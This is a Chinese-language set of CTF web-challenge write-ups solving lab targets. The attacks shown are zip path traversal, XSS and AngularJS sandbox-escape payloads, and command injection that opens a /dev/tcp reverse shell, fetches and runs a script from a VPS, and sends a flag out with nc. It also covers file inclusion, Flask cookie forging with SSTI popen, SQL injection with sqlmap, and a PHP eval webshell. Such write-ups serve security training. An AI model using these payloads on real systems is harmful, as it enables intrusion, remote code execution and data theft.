ctf之WEB練習二


題目名稱:從0到1CTFer成長之路-Web文件上傳
題目wirteup:
啟動題目場景,獲得題目靶場,訪問網站,發現是一個文件上傳漏洞,並且源代碼也顯示出來。
http://eci-2zead4wngyl8hacgmm4n.cloudeci1.ichunqiu.com/
源代碼大概如下分析:
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分鍾會清除一次目錄下上傳的文件

//會包含文件pclzip.lib.php,感覺這個php里面是有一些針對zip包進行解壓等的操作的
require_once('pclzip.lib.php');

//要是沒上傳文件,就輸出上傳頁面
if(!$_FILES){
echo '省略的HTML'
    show_source(__FILE__);
}else{
    $file = $_FILES['file'];

//限制上傳的文件名不為空
    if(!$file){
        exit("請勿上傳空文件");
    }
    $name = $file['name'];

    $dir = 'upload/';
//strrchr($name, '.') 
//strrchr() 函數查找字符串在另一個字符串中最后一次出現的位置,並返回從該位置到字符串結尾的所有字符。
//比如上傳的文件名為$name=1.php.txt,這里strrchr($name, '.') 執行結果為.txt
//substr(strrchr($name, '.'), 1)
//substr字符串截取,從下標為1開始截取,那就是把點略過,截取后為txt
//通過strtolower函數將所有字符轉換為小寫,賦值給ext變量
    $ext = strtolower(substr(strrchr($name, '.'), 1));
//如果我們上傳的文件名為1.txt,那么path變量就為upload/1.txt
    $path = $dir.$name;

//檢查是否為目錄
    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }
            
            }
        }
    }
    
//創建目錄    
    if(!is_dir($dir)){
        mkdir($dir);
    }

//將目錄名拼接一個隨機數,讀到這里,基本上就知道需要路徑穿越了,因為我們不知道隨機數值,所以就算繞過上傳,解析也是一大關
    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }

//首先進行后綴的校驗,把剛剛拿到的,最后一個.后面的字符串和這里的zip、jpg、gif、png進行對比校驗
    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){   //使用白名單校驗,只允許zip、jip、gif、png 上傳
        if($ext == 'zip'){  //如果使用zip 上傳,下面就是zip解壓流程規則
//使用PclZip進行解壓縮        
            $archive = new PclZip($file['tmp_name']);
//遍歷解壓縮后的每個目錄            
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
//一段較為簡單的正則,就是匹配每個文件結尾的位置,是否是.php  ,如果是則退出解壓程序            
                if(preg_match('/\.php$/', $filename)){
                     exit("壓縮包內不允許含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                   exit("解壓失敗");
            }

            check_dir($dir);
            exit('上傳成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上傳成功!');
        }
    }else{
        exit('僅允許上傳zip、jpg、gif、png文件!');
    }
}
大概代碼是需要將php文件先壓縮成zip文件壓縮包,然后繞過路經檢測,通過路徑穿越將文件放到指定目錄,然后訪問上傳的文件名
如果將解壓出的文件穿越到非upload目錄,check__dir方法就無法刪除該文件。zip壓縮包被解壓到/upload/隨機md5/目錄下,所以需要穿越兩個目錄,由於我們上傳的路徑目錄是upload/隨機值/上傳的文件,需要穿越兩層,直到根目錄下,一層隨機目錄,一層upload
所以需要文件名為…/…/file.php,由於需要構造解析,利用apache的解析漏洞,如果從右開始,直到哪個能識別就解析哪個,構造最終文件名為../../hhhh.php.xxx,這個文件名長度為18位
windows操作系統下,右鍵創建文件,文件名隨便寫一個18位的(跟剛剛的文件名位數一樣),這里是把后綴涵蓋的,例如:123456789012345678
然后我用的WinRar,右鍵添加到zip
接下來就開始用010 Editor進行zip文件的編輯,我們分別將char frFileName[18]修改為hhhh.php.xxx和char deFileName[18]修改為../../hhhh.php.xxx
,然后保存壓縮文件

對壓縮文件進行上傳成功后,會進行自動解壓縮
然后訪問以下路徑,即可獲得flag
http://eci-2zead4wngyl8hacgmm4n.cloudeci1.ichunqiu.com/hhhh.php.xxx
最終flag:
n1book{ThisIsUpLoadToPicfl4g}

題目名稱:從0到1CTFer成長之路-XSS闖關
題目wirtup:
啟動題目場景,獲得題目靶場,訪問網站,發現是一個通關的XSS游戲獲取flag
   
   
   
           
   
   
   
           
第一關,輸入常規的XSS poc: <img src=x onerror=alert(0)> 即可進入下一關
第二關,輸入測試<xss>poc,查看源代碼,發現沒有過濾<和>,然后對其進行閉合標簽即可
這里通過輸入';alert(0);//,即可進入下一關
http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level2?username=12';alert(0);//
第三關,輸入上一關的poc: ';alert(0);//  發現單引號被轉義成/'
這里通過再次輸入一個單引號,即可繞過一個單引號的轉義,最終poc:12'';alert(0);//  提交,即可進入下一關
http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level3?username=12'';alert(0);//
第4關,查看源代碼發現有一個自動跳轉的變量jumpUrl
代碼中接收jumpUrl作為跳轉url,偽鏈接javascript:alert(1),瀏覽器會把javascript后面的那一段內容當做代碼,直接在當前頁面執行,即可進入下一關。
http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level4?jumpUrl=javascript:alert(0)
第五關,表單中直接輸入一個測試數字,提交
發現現實錯誤
查看源代碼,發現有JS 2條IF判斷條件限制着。

 限制1:

    
    
    
            
if(getQueryVariable('autosubmit') !== false){
    
    
    
            
繞過限制:

autosubmit=1

限制2

    
    
    
            
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    
    
    
            
繞過限制:
    
    
    
            
action=javascript:alert(0)

同樣是傳值,只不過是傳我們的注入語句,提交完整payload:/level5?autosubmit=1&action=javascript:alert(0)

即可進入下一關。

http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level5?autosubmit=1&action=javascript:alert(0)

輸一個一個測試<xss>發現<和>已經被轉義了
查看源代碼,發現該關題目使用的AngularJS
點擊https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js,發現AngularJS版本為1.4.6

 也可以通過chrome的Wapplayzer插件進行查看
我們的Angular版本是1.4.6,低於1.6版本,那么存在沙箱,利用逃逸沙箱POC:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
訪問上面的沙箱poc,即可進入下一關。
下一關顯示了flag的內容
最終flag:
n1book{xss_is_so_interesting}

題目名稱:從0到1CTFer成長之路-死亡之ping

題目內容:

路由器管理台經常存在的網絡ping測試,開發者常常會禁用大量的惡意字符串,試試看如何繞過呢?

題目writeup:
啟動題目場景,獲得靶場,訪問網站,並輸入測試ping  127.0.0.1,發現可以成功,但是沒有回顯到頁面上。
http://eci-2zed552151f9re6faxx2.cloudeci1.ichunqiu.com/
該題目存在一些黑名單過濾的,這里輸入一個測試符號&,提交,顯示ip包含惡意字符。
這里通過bupsuit的intruder進行fuzz 常用的鍵盤符號。
常用的fuzz 鍵盤符號:
~
`
#
#!
|
'
"
$
.
!
%
@
°
*
(
((
&
[
[[
{
=
+
-
_
\
/
:
;
<
>
,
?
^
<>
&&
||



fuzz出這些符號:+  /  =  <      >    ,?  <>   沒有被過濾
通過%0a,表示換行,並能連接新的一條命令進行執行(不能在瀏覽器中直接提交%0a,否則會自動轉換成url編碼提交會報錯),因此建議在 burp中抓包后修改提交請求.
首先在測試%0als,是可以執行成功,證明%0a可以繞過執行
ip=127.0.0.1%0als
這里直接測試下bash反彈,發現有特殊的字符(如&已經被攔截了)是反彈不成功的
ip=127.0.0.1%0abash -i >& /dev/tcp/36.xx.xx.223:8080 0>&1


在公網主機vps上編寫flag.sh腳本內容如下:
ls
cat  /FLAG | nc 192.168.1.5  2333
並且在公網主機VPS上使用python搭建http服務,端口為80(一定是80端口),如果使用其他端口,則使用curl下載的時候需要用到:端口號訪問, :符號則在被攔截范圍中。
python -m SimpleHTTPServer  80
使用curl命令從vps 主機下載flag.sh到靶機系統中的tmp目錄下,一般tmp目錄具有可讀寫權限。
ip=127.0.0.1%0acurl  36.xx.xx.223/flag.sh > /tmp/flag.sh 
使用chmod命令遠程修改已下載的flag.sh文件的可讀寫執行權限
ip=127.0.0.1%0achmod 777 /tmp/flag.sh
通過sh命令遠程執行靶機中的flag.sh腳本
ip=127.0.0.1%0ash  /tmp/flag.sh 

vps本地監聽,且nc反彈出來靶機中的輸出命令信息的內容包含了flag
最終flag:
n1book{6fa82809179d7f19c67259aa285a7729}

題目名稱:從0到1CTFer成長之路--afr_3
題目witeup:
訪問靶機網站,這里輸入測試 test內容,發現頁面回顯也顯示test
http://eci-2ze6rqbmu4jlf86hemsa.cloudeci1.ichunqiu.com/


猜測是存在ssti注入,這里輸入測試{{7+7}},頁面顯示+被過濾,也沒相加執行,顯然猜測是錯誤的。

繼續訪問article超鏈接,看起來像參數存在文件包含或者sql注入漏洞
http://eci-2ze6rqbmu4jlf86hemsa.cloudeci1.ichunqiu.com/article?name=article

這里通過bupsuit進行fuzz測試常用的文件包含,可以看到在../../etc/passwd路徑讀取系統的passwd
猜測flag在系統的根目錄下,於是然后嘗試讀取一下根目錄下的flag,但是提示沒有權限
tps:
常用的環境變量配置讀取:
/proc/sched_debug # 提供cpu上正在運行的進程信息,可以獲得進程的pid號,可以配合后面需要pid的利用
/proc/mounts # 掛載的文件系統列表
/proc/net/arp # arp表,可以獲得內網其他機器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活動連接的信息
/proc/net/fib_trie # 路由緩存
/proc/version  # 內核版本
/proc/[PID]/cmdline # 可能包含有用的路徑信息
/proc/[PID]/environ #  程序運行的環境變量信息,可以用來包含getshell
/proc/[PID]/cwd     # 當前進程的工作目錄
/proc/[PID]/fd/[#] # 訪問file descriptors,某寫情況可以讀取到進程正在使用的文件,比如access.log
嘗試讀取系統當前運行那些程序並且查看進程,這里fuzz  /proc/self/cmdline讀取系統進程,最終遍歷到目錄../../../proc/self/cmdline讀取,成功執行並回顯:python server.py,說明該題應該是一個python的環境
又根據以往經驗嘗試讀取../../../app/server.py 和../../../server.py都不能讀取
嘗試讀取系統環境,這里fuzz  /proc/self/environ 讀取系統環境變量,最終遍歷到目錄../../../proc/self/environ讀取,成功執行並回顯出server.py的路徑為/home/sssssserver和flag信息
提交flag發現出錯,證明不是真正的flag
於是讀取/home/sssssserver/server.py,成功讀取到其源碼
../../../home/sssssserver/server.py
回顯出來的源碼通過html decode 后得到server.py:
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=80, debug=False)
對其源碼進行審計發現,flag在flag.py中。還發現確實存在模板注入,雖然下面這語句存在過濾
if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")

同時又發現flask函數的中存在key.py,而appkey又在key.py中,但是此處任意文件讀取漏洞被過濾了關鍵詞flag
下面語句存在ssti模板注入,模板渲染的內容就是n1code,但是其實n1code的來源可以是session,前提是可以偽造flask的cookie。
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
於是讀取key.py
../../../proc/self/cwd/key.py 
成功讀取到appkey:
key = 'Drmhze6EPcv0fN_81Bj-nA'
使用 flask-session-cookie-manager 進行生成偽造cookie:
$ git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager
$ python3 setup.py install
下面通過 flask_session_cookie_manager3.py直接生成加密的cookie:
python3  flask_session_cookie_manager3.py   encode -s "Drmhze6EPcv0fN_81Bj-nA" -t  "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
生成的加密的cookie值:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YQ6_6A.Uv6wMG2nUKf-4u_HURW3HRKGMp8
通過偽造cookie,即可獲得flag
最終flag:
n1book{afr_3_solved}

題目名稱:從0到1 CTFer成長之路--afr_2
題目writeup:
打開靶機網站,發現是一張圖片
查看源代碼,發現有圖片路徑
訪問圖片路徑的根目錄,可以看到,看起來像目錄遍歷
http://eci-2ze39wd1b4km7p6s56t6.cloudeci1.ichunqiu.com/img/

或者通過御劍目錄掃描工具,也可以掃描到img目錄
嘗試在img 目錄后加上../,即可返回到上層目錄,並可以遍歷到flag文件
下載flag文件,可以看到包含了flag內容
最終flag:
n1book{afr_2_solved}

題目名稱:從0到1 CTFer成長之路--afr_1
題目writeup:
訪問靶機網站,發現輸入的參數?p=hello,在頁面中顯示hello world,靶機路徑出現這樣的參數?p=測可能存在任意文件包含漏洞
嘗試任意文件包含讀取/etc/passwd,發現沒有顯示出來,猜測可能被過濾了
http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=../../../etc/passwd
嘗試任意文件包含讀取flag.php,頁面還是顯示空白,也有可能被過濾
http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=php://filter/read=convert.base64-encode/resource=flag.php
嘗試任意文件包含讀取flag,頁面有顯示,但是並沒有顯示出flag
http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=falg
聯想到php中可以是用php://fiter讀取flag,可以正常讀取出內容,且內容是base64加密的(但是讀取 flag.php的時候顯示空白,理論上是可以讀取,猜測這里可能題目后面的參數變量會自動加上.php)
http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=php://filter/read=convert.base64-encode/resource=flag
讀取出來的內容為:PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
通過在線base64解密網站對其進行解密,發現是一段php代碼,代碼注釋中就包含了flag內容
最終flag:
n1book{afr_1_solved}

題目名稱:從0到1 CTFer成長之路--SQL注入-2
題目writeup:
打開靶機題目網站,發現有2個連接
其中lonin.php連接是一個登陸頁面
另外一個user.php,發現沒任何內容

方法一:

登陸窗口處,猜測賬號文本框中可能存在注入,下面嘗試測試是否存在注入
post:
name=admin'&pass=123
發現頁面報錯,存在SQL注入

測試SQL語句的閉合符號#,這里#通過URL編碼為%23
name=admin'%23&pass=123
發現頁面顯示正常,說明#是該SQL語句的閉合符號

測試SQL注入存在的字段數
name=admin'order by 3%23&pass=123  #先測試3個字段,頁面顯示正常
name=admin'order by 4%23&pass=123         #再測試4個字段,頁面顯示錯誤
那么SQL注入中存在3個字段數

通過union selcet聯合查詢語句查詢字段回顯位置
name=admin'union select 1,2,3%23&pass=123
發現頁面報錯,可能union select語句被過濾導致的錯誤

將selcet 關鍵字修改為大寫的SELECT,提交,發現頁面正常顯示,說明select大寫可以繞過過濾
name=admin'union SELECT 1,2,3%23&pass=123
既然聯合查詢語句無法進行注入,這里嘗試通過updatexml報錯函數進行查詢,下面報錯查詢出數據庫的版本
name=admin'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)%23&pass=123
報錯查詢出數據庫的版本為:5.5.64-MariaDB-1ubuntu0.14.04.1


報錯查詢出用戶名
name=admin' and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)%23&pass=123
用戶名:root@localhost~


報錯查詢出當前數據庫名
name=admin'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)%23&pass=123
數據庫名為:note


報錯查詢出當前數據庫note的表名
name=admin'and  updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from  information_schema.tables where table_schema=database())),1)%23&pass=123

爆出表名:fl4g,users

爆出查詢出flag表名的字段名
name=admin'and  updatexml(1,concat(0x7e,  (SELECT(group_concat(column_name))from  information_schema.columns  where table_name='fl4g')),1)%23&pass=123
字段名:flag

報錯查詢出flag字段的內容
name=admin'and     updatexml(1,concat(0x7e,(SELECT(flag)from fl4g)),1)%23&pass=123

方法二:
這里通過sqlmap進行注入,先輸入登錄用戶名和密碼,然后通過bupsuit抓包,保存為data.txt 
data.txt:
POST http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com/login.php HTTP/1.1
Host: eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com
Connection: keep-alive
Content-Length: 18
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com
Referer: http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; UM_distinctid=17b2110c14b348-029ed0a4395d2d-6373264-144000-17b2110c14c5c3; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1628347352; ci_session=d301e818ba1f28f834072b3fa9b2502add07fee6; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1628391371; __jsluid_h=977e36203f386ae8a9f4be9791a4a1fe; PHPSESSID=3o3l3jdhc6ftjdbc9ga601bo14

name=admin&pass=12
通過sqlmap探測網站是否存在注入
python sqlmap.py  -r   data.txt
發現當前靶機網站存在布爾和時間盲注注入

sqlmap爆出當前數據庫名
python sqlmap.py  -r   data.txt  - - current - db
爆出的數據庫名:note

sqlmap列出note數據庫所有的表名
python sqlmap.py  -r   data.txt    - D note - - tables
爆出表名:fl4g,users

sqlmap 列出flag表名的所有列名
python sqlmap.py  -r   data.txt    - D note - T fl4g - - columns
爆出列名:flag

sqlmap 打印輸出flag列名字段值的數據
python sqlmap.py  -r   data.txt    - D note - T fl4g - C flag - - dump

最終  flag:
n1book{login_sqli_is_nice}






題目名稱:從0到1 CTFer成長之路--SQL注入-1
題目writeup:
訪問網站靶機,頁面可以正常顯示一段內容
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1
猜測id變量存在sql 注入,這里加入單引號,發現頁面和正常頁面不一樣,說明是存在注入的
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1'
通過#結束注入語句閉合,發現頁面顯示正常,這里#在瀏覽器中以url編碼輸入。
字段查詢
使用order by 語句測試字段3不報錯,4報錯,證明有3個字段
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1' order by 3%23
          
          
          
                  
字段回顯查詢
發現在2,3位置有回顯,這里id=1要變成-1,因為1的時候,只把查到的第一條顯示出來,因此需要輸入-1,顯示回顯全部。
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,2,3%23
數據庫查詢
聯合查詢出數據庫名為note
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,database(),3%23


表名查詢
查詢出note數據庫的表名為:fl4g和notes
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union  select  1,group_concat(table_name),3  from  information_schema.tables where  table_schema='note' %23
字段查詢
查詢出f14g表的字段名為fllllag
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1'  union select 1,group_concat(column_name),3  from  information_schema.columns  where table_name='fl4g' %23
查詢字段內容
查詢出fllllag字段的內容為: n1book{union_select_is_so_cool}
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1'union select 1,group_concat(fllllag),3  from fl4g %23
         
         
         
                 
方法二:
sqlmap方法:

獲取注入點

sqlmap  -u  "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1"

獲取數據庫名,發現存在note數據庫名

sqlmap  -u  "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1" --dbs

3.獲取news數據庫名中的表名為fl4g和notes表名

sqlmap  -u  "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1"  --tables  -D note

4.獲取secret_talbes表中的字段,得到fllll4g字段

sqlmap  -u  "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1" -D note  -T fl4g --columns

5.獲取字段fl4g內容,得到flag

sqlmap -u  http://111.200.241.244:53198   --data "search=1"   -D note  -T fl4g -C "fllllag"  --dump

最終flag:
n1book{union_select_is_so_cool}

題目名稱:從0到1 CTFer成長之路--粗心的小李
題目writeup:
訪問靶場網站,頁面內容中傳遞出該題目和git泄露有關
http://eci-2ze687nrysk8eas2z6vo.cloudeci1.ichunqiu.com/
使用GitHack.py進行掃描,並獲得index.html
http://eci-2ze687nrysk8eas2z6vo.cloudeci1.ichunqiu.com/.git/
python  GitHack.py  
打開index.html,頁面內容中包含了flag
最終flag:
n1book{git_looks_s0_easyfun}


題目名稱:從0到1 CTFer成長之路--常見的搜集

題目內容:一共3部分flag

題目writeup:
訪問靶機網站,頁面內容顯示了關鍵內容為“敏感文件”那么應該與文件目錄有關了。並且根據題目內容描述, flag是三部分組成的。
http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/

這里通過dirsearch進行目錄掃描
python3  dirsearch.py  -u http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/


訪問robots.txt路徑,得到flag1的內容,為flag第一部分。
flag1的內容: flag1:n1book{info_1

訪問路徑index.php~ ,得到flag2的內容,為flag第二部分
http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/index.php~
flag2的內容:flag2:s_v3ry_im

訪問路徑.index.php.swp ,得到flag3的內容,為flag第三部分
flag3的內容:flag3:p0rtant_hack}
三部分flag組合一起,最終flag:
n1book{info_1s_v3ry_imp0rtant_hack}

題目名稱:ics-07
題目描述:工控雲管理系統項目管理頁面解析漏洞
題目writeup:
啟動題目場景,獲得靶機網站,訪問網站如下
http://111.200.241.244:50888/
        
        
        
                
根據題目描述,點擊業務管理,在頁面中發現有vier-soue超鏈接,點擊鏈接進入發現有三塊PHP源代碼。
http://111.200.241.244:50888/index.php?page=flag.php
        
        
        
                
主要代碼分析如下
 <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    } //第一塊PHP代碼分析:參數 page 存在 且 參數page不等於index.php.才包含flag.php,那么參數?page=flag.php就會進行文件包含
    ?>

    <?php
     if ($_SESSION['admin']) { //如果session["admin"]為True
       $con = $_POST['con']; //con參數變量以 post提交
       $file = $_POST['file']; //file參數變量以 post提交
       $filename = "backup/".$file; //目錄為假目錄,傳入file時,文件名后加上一個.

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ \
//$filename正則過濾匹配規則為:過濾了.文件以及.php或者php3、php4、php5、php5、pht、phtml等文件,可通過上傳文件名如為sell.php\.或者shell.php\1.php\.繞過

          die("Bad file extension");
       }else{
            chdir('uploaded'); //這里切換了路徑,真實的路徑在 uploaded下
           $f = fopen($filename, 'w'); //上傳以$filename文件名
           fwrite($f, $con); //$con為寫入的文件的內容
           fclose($f);
       }
     }

// 第二塊php代碼分析:如果$_SESSION['admin'] = True,那么POST提交con和file兩個參數,且將$con 的內容寫到$file中,並對$filename進行正則判斷,如果判斷正確文件會被上傳到uploaded/backup目錄下。


     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>
/*
第三塊代碼分析:
首先使$_SESSION['admin'] = True,需要獲取一個id參數, 並且id不為1,且最后一位等於9。
floatval()用於獲取變量的浮點數值,不能用於數組或對象,這里存在弱類型比較,floatval()后的值為浮點型且不完全等於1, substr要求最后一位是9,那么只要傳入id=1+任意字符+9即可繞過

*/

首先我們要得到admin的session的條件,滿足以下2個條件:

1.page為flag.php滿足第一塊php代碼

2.使用id=1-9來繞過第三塊PHP代碼過濾

構造payload:?page=flag.php&id=1-9

http://111.200.241.244:50888/index.php?page=flag.php&id=1-9
需要對if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))進行繞過,正則的話是判斷.之后的字符,因此我們可以利用/.的方式繞過,這個方式的意思是在文件名目錄下在加個空目錄,相當於沒加,因此達到繞過正則的目的,如shell.php/.可繞過。
或者雙文件名繞過,如c.php/b.php/..  也就是訪問b.php的父目錄,也就是 c.php ,其中 .. 代表當前目錄的父目錄 , .代表當前目錄
我們要寫入一句話木馬,以post方式傳文件,post變量file為文件名,con為文件內容,且傳入的文件名為上文中2種之一的繞過文件方法。
然后上傳路徑原本在根目錄下的/backup/目錄下面,由於加了個chdir()函數,因此將根目錄后面加上了/uploaded/目錄,然后在跟/backup/目錄
最后的上傳目錄為:
/uploaded/backup/
構造payload:
con=<?php @eval($_POST[bk]) ?>&file=shell.php/.
或者
con=<?php @eval($_POST[bk]) ?>&file=c.php/b.php/..

http://111.200.241.244:50888/index.php?page=flag.php&id=1-9

post:

con=<?php @eval($_POST[bk]) ?>&file=shell.php/.


由於chdir(‘uploaded’)改變目錄為uploaded,又加上backup/shell.php拼接,所以目錄為最終的上傳目錄為uploaded/backup/shell.php
http://111.200.241.244:50888/uploaded/backup/

通過蟻劍連接一句話,並對進行flag查找
最終flag:
cyberpeace{2a8cb8444abeb5af640714b9a0e3f9b7}


題目名稱:Confusion1
題目描述:某天,Bob說:PHP是最好的語言,但是Alice不贊同。所以Alice編寫了這個網站證明。在她還沒有寫完的時候,我發現其存在問題。(請不要使用掃描器)
題目writeup:
啟動題目場景,獲得靶機網站,訪問網站,頁面顯示了一張圖片,蛇纏住了大象,猜測此系統使用了php+python(php的標志是大象,Python的標志是蛇)
http://111.200.241.244:63580/
         
         
         
                 
進入注冊和登錄鏈接,均都顯示404頁面報錯
http://111.200.241.244:63580/login.php
http://111.200.241.244:63580/register.php
分別對注冊和登錄頁面源碼查看,發現源碼注釋中都包含了flag的位置
view-source:http://111.200.241.244:63580/register.php
view-source:http://111.200.241.244:63580/login.php

猜測本題存在Python SSTI漏洞,驗證一下,在url后面添加{{2+2}},回車

http://111.200.241.244:63580/login.php/{{2+2}},

界面返回2,我們輸入的1+1被執行了,說明服務器執行了{{}}里面這一段代碼,存在SSTI漏洞

這里猜測使用的是 Python 的 Flask 框架( Flask 使用 Jinja2 作為模板引擎 ) ,所以本題的思路就是利用SSTI讀取flag文件。

我們嘗試使用經典payload直接讀取flag:

發現頁面顯示“nope,find another way"說明系統進行了過濾

http://111.200.241.244:63580/login.php/''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()

頁面顯示“DO NOT JIAOSHI,YOU CAN NOT USE IT!"應該也被過濾了。
嘗試{{config}}
頁面顯示了request方法可用
http://111.200.241.244:63580/login.php/%7B%7Bconfig%7D%7D
經過嘗試,發現系統過濾了class、 subclasses、 read等關鍵方法,但是並未過濾request方法:

request 是 Flask 框架的一個全局對象 , 表示 " 當前請求的對象( flask.request ) " ,所以我們可以利用request.args繞過輸入黑名單,進行沙箱逃逸。

{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

沙箱逃逸,就是在給我們的一個代碼執行環境下(Oj或使用socat生成的交互式終端),脫離種種過濾和限制,最終成功拿到shell權限的過程。其實就是闖過重重黑名單,最終拿到系統命令執行權限的過程。

payload如下:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
          
          
          
                  
